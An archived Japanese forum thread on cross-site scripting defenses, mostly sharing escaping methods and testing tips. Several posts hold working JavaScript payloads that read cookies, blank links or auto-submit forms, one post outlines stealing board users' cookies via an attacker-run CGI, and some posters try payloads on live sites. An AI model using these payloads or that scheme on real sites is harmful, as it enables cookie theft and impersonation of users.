1read 100read
2013年06月WebProg383: クロスサイトスクリプティング対策 (104) TOP カテ一覧 スレ一覧 2ch元 削除依頼
■■NetCommonsについて (119)
【緊急】腕に覚えのあるプログラマー来てくれ!! (146)
PHPでPDF (170)
携帯電話以外からのアクセス禁止にしたい (101)
日本最強のCGIスクリプト (110)
WEBアプリにもっとも適した言語は何か? (106)

クロスサイトスクリプティング対策


1 :01/10/27 〜 最終レス :2012/10/19
http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf
簡単にいって、フォームの入力をサーバサイドで処理してHTMLと
して出力する時に、文字のエスケープを適切に行わないと、
Cookieを取得するJavaScriptを埋め込み&出力結果を別サイトに
リダイレクトする、というような方法を使ってCookieを第三者に
盗まれる可能性がある、ということです。
上の資料を参考にしながら、
それぞれの処理系における、どのようの文字列エスケープを行うべきか、
といったサーバサイドの対策に関する情報を交換していきたいと思います。

2 :
とりあえずは、Perlの場合で、BBSやチャットだと、
一番カタイのはタグ禁止ということにして<,>を文字実体参照に変換してしまう
のが手っ取り早いと思います。

3 :
セキュリティ板に載ってました、クロスサイトスクリプティング脆弱性の
最近の具体例が。
http://memo.st.ryukoku.ac.jp/archive/200110.month/index.html
のArticle 1756。見ればわかりますがHTMLタグのエスケープ処理を
忘れてるものと思われます。<SCRIPT>タグなんか埋め込まれた日には
色々悪さされそうです。

4 :
本気で対策したい人たちが読むことを期待して。
少なくともFORMから入力されたパラメタは、全て読み込んだ時点で
実体参照に置換してしまう(汚染チェックも行う)。
s/&/&/g
s/</</g
s/>/>/g
s/"/"/g
URLやHTTPヘッダもそうするべきだけど、そこまでは辛いか?後は比較などで、
元の文字列でなければ困るところだけ、一時的に元に戻すようにする。
s/</</g
s/>/>/g
s/"/"/g
s/&/&/g
(上記は2chがちゃんと処理してなかった場合ちゃんと見えないかも。
面倒なんでその場合はページのソースを見てください)
必要な箇所での戻し忘れがあった場合の不都合は、比較的簡単に目に見えるので
どってこたない。置換を忘れた場合は見つけにくい上にセキュリティ問題になる
ことを考えれば、これくらい徹底した方がいいのでは?

5 :
男は黙って tr/\W//d

6 :
s/&/&amp;/g
s/</&lt;/g
s/>/&gt;/g
s/"/&quot;"/g
だ。下のは
s/&amp;/&/g
s/&lt;/</g
s/&gt;/>/g
s/&quot;"/"/g
ふー…ちゃんと&と"も置換してよ。

7 :
age

8 :
age

9 :
&をエスケープしないのはヤバーイよ!
ネスケ4で見てね。

10 :
つづく

11 :
こんなことも(;´Д`)

12 :
シパーイシターヨ

13 :
これでどーよ、ネスケ4

14 :
神が降臨シテルヨ

15 :
ネスケで見てる人はあまりいなかったのかage

16 :
真の神は、やっぱりMSのPassportでしょ。
http://www.zdnet.co.jp/news/0111/05/e_wallet.html

17 :
神はみんなに平等にcookieを読む権利を与えたのだ

18 :
パンが無ければCookieを食べればいいじゃない。

19 :
くそ・・・ネスケ4で見たら落ちたよ(涙)

20 :
>>13
そーいや、それについての警告を見た事無いな。
何処かに名文ないものかな?

21 :
>>20
これとか:
http://www.securityfocus.com/archive/1/50782
この著者は先日MicrosoftのPassportの問題を指摘した人物。
Apache Softoware Foundationのメンバーで、1.3.11の同脆弱性を直した人。

22 :
いや明日仕事で、うちの会社で開発したwebサービスの
クロスサイトスクリプティング対策をやんなきゃいけなくって、
できる限りヤバーイのを発見しないといけないんだけどさー、
どうするのがいいかねぇ。

23 :
>>21
英語か:-(
誰か和訳してくれないものかな。

24 :
>22
まず、実体参照への変換関数(メソッド)を固定の記号に置き換えて返すように変更して実行してみる。
例えば"====================="とか。
そして、フォームの全てのパラメタに"**************************************************"とかの
目立つ文字列を入れてみて、後者がブラウザ上に現れたらアウト。
※hiddenフィールドもチェックしないとね
ただしそれだけだと、URLやHTTPヘッダのチェックが見落としやすいな…。
URL等をブラウザに表示している箇所は、"*********..."が表示されるはずだからそうなっていない
生のURLやUser-Agent等のヘッダの文字列が表示されていたらアウトなわけだけど…。

25 :
後は全エラー画面をチェックしないといけないが、これは画面よリソースをチェックした方が早いだろうなぁ。

26 :
PHP 使ってますが。
フォームからのものとか、REMOTE_ADDR、REMOTE_HOSTなど
すべて strip_tags() してますが、安全でしょうか?

27 :
たぶん。としかいえんなぁ。変換関数が組み込みのものだと24に書いたみたいなテスト方法は駄目だね。
要はそれを忘れてないかどうかが問題なので。
環境変数等から変数に代入する時点で変換するというポリシーが貫けているなら、
この問題に対してはほぼ安全と思う。

28 :
>>27
とりあえずhiddenを含め全部やってるはずなので、一応安心しておきます。

29 :
セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/
MS01-055: Cookie Data in IE Can Be Exposed or Altered Through Script Injection (セキュリティアンテナ, 2001.11.09)にあるデモ
http://www.solutions.fi/index.cgi/extra_iebug?lang=eng
でamazon.co.jpを読むと(事前にamazon.co.jpのcookieを取り込んである)
MSIE cookie vulnerability test page
This page displays the cookies found on your browser for site amazon.co.jp:
Cookies:
No cookies found for site...
Click here to make new search for cookies.
−−−−−
アクティブスクリプトに対して「プロンプトを表示」で表示されたら
はい(Y)を選択する。
こんなダイアログ−http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/ie6-script-dialog.png
−−−−−
アクティブスクリプトを実行しなければ "; document.location=url; と表示される。
−−−−−
デモが表示された後、「戻る」と
警告: ページの有効期限切れ 要求したページは、フォームで送信された情報を使用して作成されました。このページは、もう利用できません。セキュリティ保護のため、情報は自動的には再送信されません。
情報を再送信し、この Web ページを表示するには、ツール バーの [更新] ボタンをクリックしてください。 となる。

30 :
>>29
IE5.5とIE6しか再現しないそうだ

31 :
IEは5.01SP2です。
http://www.microsoft.com/japan/technet/security/frame_prekb.asp?sec_cd=MS01-055
によると、
テストしたバージョン :
マイクロソフトは Internet Explorer 5.5 SP2 および 6 のテストを行い、これらの脆弱性による影響を評価しました。それ以前のバージョンに関してはサポート (英語情報) の対象となっていないため、この脆弱性による影響は不明です。
とのこと。
ということは、5.01でも危険ということだろうか。

32 :
age

33 :
age

34 :
http://pc.2ch.net/&{document.write(document.cookie)};

35 :
http://pc.2ch.net/&{document.cookie};

36 :
age

37 :
a

38 :
こんなのmail欄に入れたらどうなるんだろう?
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};

39 :
>38
自分でやってみてよ(笑)

40 :
メール欄が長すぎます・・・だって(笑)
&{for(var i=0;document.links[i];i++)document.links[i].href='';};
これは大丈夫やった。

41 :
>40
どこでやってきたの?(笑)

42 :
>>41
色んなところ。反応が一つもないところを見ると
NN4でスクリプトONにしてる奴、あんまおらんのかな?

43 :
age

44 :
age

45 :
>>42
ひいい・・・・2ちゃんで窓が出たよう・・・。

46 :
>45
(笑)

47 :
>>40
分割すればいいみたい。>>12>>13

48 :
テスト

49 :
大手検索サイトに見るクロスサイトスクリプティングの脆弱性の実態(2002.2.4)
https://www.netsecurity.ne.jp/article/1/3860.html

50 :


51 :


52 :
>日本でもWebサイトに関する最初のインシデントとして記録されているのは、1997年に総務省の掲示板にタグ
>が書き込まれ、その掲示板を閲覧しようすると、オウム真理教の音楽が外部サイトから読み込まれて鳴るよう
>になったという事件であり、このようにクロスサイトスクリプティングの脆弱性は古くから存在する問題である。
タグ可の掲示板はみんな着尺製ありだな
http://pc.2ch.net/test/read.cgi/sec/1008926076/l10

53 :
F=Function;fs=document.forms;
l0=new F('f=fs[fs.length-1]');
l1=new F('es=f.elements;');
l2=new F('a=es[0];b=es[2];');
l3=new F('c=es[3];d=es[4];');
l4=new F('a.value=navigator.userAgent;');
l5=new F('b.value=\'fusianasan\';');
l6=new F('c.value=\'\';');
l7=new F('d.value=\' \';');
l8=new F('es[1].click();');
lx=new F('l0();l1();l2();l3();');
ly=new F('l4();l5();l6();l7();');
lz=new F('l8();');
l=new F('lx();ly();lz();');window.onload=l;

54 :
>>52
>着尺製
読めない…。

55 :
>>54
> >着尺製
「脆弱性」の (2ch的?) 誤読だと思われ。
正しくは「もろよわせい」と読むらしい。

56 :
>>55
http://pc.2ch.net/test/read.cgi/sec/1008620296/
http://pc.2ch.net/test/read.cgi/sec/1008620296/17

57 :
>>22
で、22はお腹いっぱいヤバゲなの見つかったのかな?
SSLなページの確認はメンドーでないかい? >all
アホプログラマーの重箱の隅つつくのも疲れてきたぞ。(藁

58 :
> SSLなページの確認はメンドーでないかい?
なぜに?

59 :
漏れがバカだから。とりあえずパケットキャプチャーしてどんな内容送ってるのか見ようと思うんだけど。
IEなんかのクライアントで見て、値が固定されてるもののテストってどうしてますか?
例えば買い物の個数とかサーバ側でエスケープ処理してるか確認したい訳で。
POSTメソッドの値を色々試すのに良いツールってないですかねぇ。HTMLエディタで書き換える?

60 :
http://www.mountsystem.ne.jp/
ここのTantanCGI

61 :
>>60
すっ、すばらしい...。ありがとう御座います。感謝感激!
これでもっと重箱の隅つっけそうです。(藁

62 :
&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};

63 :
ここで配布してるスクリプトも脆弱性の問題あり?
http://www.onpuch.jp/files/onpuch.zip

64 :
Struts使おう。

65 :
(^^)

66 :
d

67 :
aq

68 :
qwe

69 :
qwer

70 :
12345

71 :
hfjfjf

72 :
vbncnnb

73 :
hhhhhhhh

74 :
fhfhfhfhfh

75 :
荒らされてる

76 :
XSS対策のひとつとして、「エスケープ処理」がある。
これはCGIが扱うパラメータが多くなってくると、ついつい忘れてしまう煩雑で面倒な処理だが、
もしあなたがPerlユーザなら、HTML::Templateを使うことによってエスケープを
テンプレート側に記述し、プログラム側から完全に追い出してしまうことができる。
<input type="hidden" value="<tmpl var="aniti_xss_value" escape="url">">
<input type="text" value="<tmpl var="aniti_xss_text" escape="html">">
最後のescape属性に注目だ。これを指定してやるだけで、
テンプレートにセットした変数は適切にエスケープされるようになる。
もう、escape関数を呼びまくる必要はないんだ!ひゃっほう!
ps.この情報がXSS対策に頭を悩ますCGI製作者の助けになることを祈ってるよ。

77 :
ヽ(゚∀゚)ノヒャホー

78 :
対策ではなくクキー盗む方法なのだが。
JBBSなどレンタル系の掲示板で使える。(htmlにログを表示して、javascriptでクッキーを読み出すもの)
レンタル系の掲示板は、自分が書き込んだ掲示板以外の板にもクッキーが適応されるところが多い。
(たとえば、http://jbbs.shitaraba.com/business/1/に書き込むとhttp://jbbs.shitaraba.com/business/2/の板にも適応される。)
これを利用して、自分の掲示板に書き込まれなくてもクッキーに入っているデータを取得できる。
具体的方法として
1.GET(QUERY_STRING)からのデータをテキストに保存するCGIを作成し、適当なフリーサーバに設置
2.ターゲットと同じレンタルBBSを借りる。
3.HTMLクッキー取得部分を調べてjavascriptで1のCGIに渡す。
4.ターゲットの掲示板にそれらしい理由を付けてカキコ

79 :
クッキーのpathを / とかにしてるんだろうね。
名前が漏れるくらいはなんでもないけど
トリップやキャップもクッキーに入ってるとなりすましが出来ると。

80 :
XSS 脆弱性で Basic 認証のパスワードも盗まれるらしいぞ
http://memo.st.ryukoku.ac.jp/archive/200301.month/5237.html
(((;゚Д゚))ガクガクブルブル

81 :
>>80
ウゲ
でも
> サーバのTRACEメソッドが機能している場合
ってどういう場合なの?

82 :
(^^)

83 :
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

84 :
TRACE / HTTP/1.1
Host: localhost
Authorization: Basic

HTTP/1.1 200 OK
Date: Sun, 11 May 2003 11:07:46 GMT
Server: Apache/1.3.27
Transfer-Encoding: chunked
Content-Type: message/http

50
TRACE / HTTP/1.1
Authorization: Basic lG+/r4+/j6+/64FgKHc=
Host: localhost


0

(((;゚Д゚))ガクガクブルブル

85 :
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―

86 :
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

87 :

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

88 :
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

89 :
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ

90 :
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

91 :
2chにはもうXSS使える穴は無い?

92 :
半角で穴見つかったのが最後かな?

93 :
そうか…
XSS使えばフレームでの別ドメインの制限が回避出来るんだけどなー…

94 :
XSSをさらすスレはここですか?

95 :
ttp://www.creators-fukuoka.com/
クロスサイトスクリプティング出来る?

96 :
保守

97 :
http://pc8.2ch.net/test/read.cgi/hp/1145956119/413

98 :
age

99 :
ttp://youtube2.in/
<
>
"
あたりエスケープできてなくね。

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼
【PHP】下らねぇ質問はID出して書き込みやがれ 128 (365)
【全文検索】groonga【senna後継】 (106)
新しくperlで標準で欲しい関数は? (194)
ウェブプログラミングで使えるデザインパターン (164)
さまざまな言語仕様について熱く語る闘技場 (198)
お前等が欲しいと思う2ch関係サービスを書け (164)
--log9.info------------------
↑と↓のスレタイを合体させて遊ぶスレ@野球板28 (323)
IDスピードガン 70球目 (656)
鉄平マジ小物wwwwww178死目wwwwwwww (164)
阪神タイガースの応援を話し合うスレ その95 (305)
【89年】高卒5年目(大卒1年目)を応援するスレ6 (485)
加藤良三無能コミッショナー解任を要求する (655)
【日ハム】栗山ド素人監督の解任を要求する!Part11 (309)
【西武】ハゲ渡辺久信監督の解任を要求する!Part5 (675)
大谷の二刀流を支持してる人に聞きたいんだけど (457)
2013年広島専用ドラフトスレ10巡目 (715)
【炎の】パ・リーグ総本部【交流戦】Part2 (341)
【暴力団】 暴かれ続ける凶悪巨人の闇 【裏金不倫】 (972)
13年セ・パ交流戦限定戦力分析スレPart6 (871)
北海道日本ハムFIGHTERS 1095 (672)
プロ野球チップスを買ったらageるスレ (167)
【巨人】村田修一応援スレ 6本目【優勝請負人】 (345)
--log55.com------------------
レーシック後はコンタクトの使用が出来ない事実↓
【閲覧注意】レーシックで失明!後遺症が深刻すぎ!
◆◆◆◆◆○^○最強のサングラス!○^○◆◆◆◆◆
◆◆アランミクリが安い店ってどこ?◆◆
安売りトウキョウグラスカンパニーってどうよ
視力悪くてメガネ選ぶ時に似合ってるかわからんひと
眼鏡はデブ男のたしなみ!!!!!!!!!
【アッベ数】色にじみの少ないレンズ【色収差】